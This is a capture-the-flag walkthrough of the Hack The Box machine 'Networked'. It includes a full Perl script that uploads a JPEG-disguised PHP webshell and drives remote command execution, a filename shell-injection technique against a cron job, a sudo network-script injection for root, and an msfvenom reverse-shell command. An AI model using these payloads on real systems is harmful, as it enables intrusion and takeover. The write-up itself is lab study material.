HTB Reports: Networked

Networked

High-Level Summary

Walkthrough

A quick nmap scan shows us two ports open:

Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-16 12:13 EST
Nmap scan report for 10.10.10.146
Host is up (0.029s latency).
Not shown: 997 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 5.23 seconds

On port 80 we see only a few lines:

networked homepage

We can run gobuster against the webserver and we will find a few interesting files:

gobuster on webserver

Interesting for us is the /upload.php page, which has an upload form:

upload form

And if we upload our image, we can then find it in the /photos.php page:

photo gallery

I immediately tried to upload a php file, but that would have been too easy.

invalid image

If we navigate to the /backup folder, we find a directory listing:

backup archive available

We can download the archive, and we will have the php source code of the pages.

If we open the source code for upload.php, we see that there are two checks for the image file:

upload.php source

The first check is at line 10, it calls the function check_file_type which is declared in the lib.php file:

check file type

This functions checks that the mime type starts with image/.

The second check instead is on the file extension, only .png, .jpg, .gif and .jpeg are allowed. Bypassing the extension check is very easy, a little bit of more effort is required to bypass the check on the mime type.

After some googling, I found this very simple perl script that creates valid jpeg files with php code inside:

https://gist.github.com/dap/149564/948a3abd8cf9d46413889ab1122305322888f415

I created the malicious file, gave it the double extension .php.jpg and uploaded it to the server: it passed all checks. I was then able to find the image in the photo gallery, and if I navigate to the image, I can verify my php command execution:

php command execution

I decided to combine this code into a script to create, upload and invoke my malicious file:

#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;

my $evilfile = 'evil.php.jpg';

# Writing malicious jpg file
open my $jpg, '>', $evilfile;
# Output "JPEG image data" magic pattern
print $jpg pack('H4xxxx', 'ffd8');
# Output "JFIF standard" magic pattern
print $jpg pack('a*', 'JFIF');
# Output the PHP code
print $jpg '<?php echo "<pre>" . shell_exec($_REQUEST["cmd"]); ?>';
close $jpg;
print "evil.php.jpg generated.\n";

my $ua = LWP::UserAgent->new;
my $url = 'http://10.10.10.146/upload.php';
# Input file field
my $file_input = 'myFile';
# Path to the local file that you want to upload

my $res = $ua->post($url,
  Content_Type => 'form-data',
  Content => [
     $file_input => [ $evilfile ],
     'submit' => 'go',
  ],
);

unlink $evilfile;

if ($res->is_success) {
  if ($res->decoded_content eq '<p>file uploaded, refresh gallery</p>') {
    print "File uploaded correctly.\n";
  }
  else {
    print "Unable to upload file.\n";
    exit 1;
  }
}
else {
  print "Unable to upload file.\n";
  exit 1;
}

my $rce = 'http://10.10.10.146/uploads/10_10_14_21.php.jpg';
print "Invoking $rce\n";

my $cmd = '';
while ($cmd ne 'exit') {
  print "> ";
  $cmd = <STDIN>;
  chomp($cmd);
  next if $cmd eq 'exit';
  $res = $ua->post($rce,
    Content => [
       'cmd' => $cmd,
    ],
  );
  print +(split /<pre>/, $res->decoded_content, 2)[1];
}

If we run the script, we obtain a simple shell for remote command execution:

php shell

After failing to obtain a normal shell with nc, I succeeded using socat. Looking for the user flag, I moved to /home/guly, but apache can’t read the user flag. There are though some interesting files:

guly home ls

And the crontab.guly files contains the following:

crontab guly

So, guly every 3 minutes executes check_attach.php, which has the following source code:

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
	$msg='';
  if ($value == 'index.html') {
	continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

You can spend some time trying to understand what this php code does. The following lines are interestisng to us, as they lead to a shell injection:

...
$path = '/var/www/html/uploads/';
...
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
	...
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  ...
}

The /var/www/html/uploads/ folder is scanned for all files. Then for each of this files, the for loop is executed and the file name is passed, unfiltered, to php exec command, which will pass the command to the underlying shell.

If our filename will start with ;, the shell will terminate the command and read the following line as if it’s a different command.

I can create a malicious filename using touch:

filename injection

Wait a few minutes if I’m unlucky and get a shell as guly:

guly shell

Enumeration as guly is super quick. We immediately find that guly can use sudo with no password for a specific script:

sudo no passwd

This is the source code of the script:

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
	echo "interface $var:"
	read x
	while [[ ! $x =~ $regexp ]]; do
		echo "wrong input, try again"
		echo "interface $var:"
		read x
	done
	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

Finding out the injection in this script was super easy. I was trying to inject some simple echo commands, when I saw this output:

script command error

If we have a look at the newly created config file, we see the following:

ifcfg-guly config

So, what is happening here is that the ifup command is reading the files as if they are bash source file, so what we are doing whenever we put a space in our input, is to assign the variable a name and then call the command with that variable set.

We can therefore just inject our command after a space, we don’t need an echo.

The only problem is that the regexp is very strict, we can’t us a lot of useful characters to obtain a reverse shell. But this can be easily overcome by uploading our own payload. We can create our shell as follows:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=6789 -f elf -o lshell

Upload it to the target machine, make it executable and simply supply its path to one of our variables.

call shell

root shell